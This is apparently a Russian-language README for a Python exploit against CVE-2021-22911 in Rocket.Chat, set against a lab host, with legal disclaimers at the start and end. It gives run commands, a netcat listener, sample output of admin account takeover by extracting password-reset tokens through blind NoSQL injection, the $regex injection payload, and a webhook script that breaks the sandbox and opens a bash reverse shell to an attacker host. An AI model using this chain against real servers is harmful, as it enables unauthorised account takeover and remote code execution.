
CVE-2021-22911 Rocket.Chat NoSQL-инъекция RCE-эксплойт - В образовательных целях
Этот эксплойт предназначен только для авторизованного тестирования на проникновение и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Автор не несет ответственности за любое неправомерное использование.
CVE-2021-22911 — это критическая уязвимость неаутентифицированной NoSQL-инъекции в Rocket.Chat, которая приводит к удаленному выполнению кода (RCE).
Этот эксплойт объединяет три атаки NoSQL-инъекциями:
$regex для посимвольного извлечения токена сброса пароляchild_process.exec() для запуска обратной оболочки (reverse shell)pip install requests
nc -lvnp 4444
Ручной ввод IP:
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i 10.9.0.1 \
-p 4444
Автоопределение IP-адреса tun0 (рекомендуется):
python3 rocket_chat_exploit.py \
-u [email protected] \
-a [email protected] \
-t http://chat.rocket.thm \
-i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
-p 4444
**Аргументы:**
- `-u`: email пользователя с низкими привилегиями (должен существовать)
- `-a`: email администратора
- `-t`: целевой URL (экземпляр Rocket.Chat)
- `-i`: ваш IP-адрес атакующего (tun0)
- `-p`: порт прослушивателя Netcat
### Пример вывода
[PHASE 1] Low-priv user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Password changed to: P@$$w0rd!1234
[PHASE 2] Admin user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Password changed to: P@$$w0rd!1234
[PHASE 3] RCE [!] Start your listener now: nc -lvnp 4444 [] Press Enter when nc is ready... [+] Authenticated as [email protected] userid : userid123456789 token : token123456... [+] Webhook created http://chat.rocket.thm/hooks/hookid123/token456 [] Triggering reverse shell... [+] Trigger sent — check your nc listener
## 🔍 Технические детали
### Формат полезной нагрузки NoSQL-инъекции
```json
{
"message": {
"msg": "method",
"method": "getPasswordPolicy",
"params": [
{
"token": {
"$regex": "^abc"
}
}
]
}
}
class Script {
process_incoming_request({ request }) {
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
}
}
Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам является уголовным преступлением в соответствии с Законом о компьютерном мошенничестве и злоупотреблениях (CFAA) и аналогичными международными законами.
Используйте ответственно. Тестируйте только те системы, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.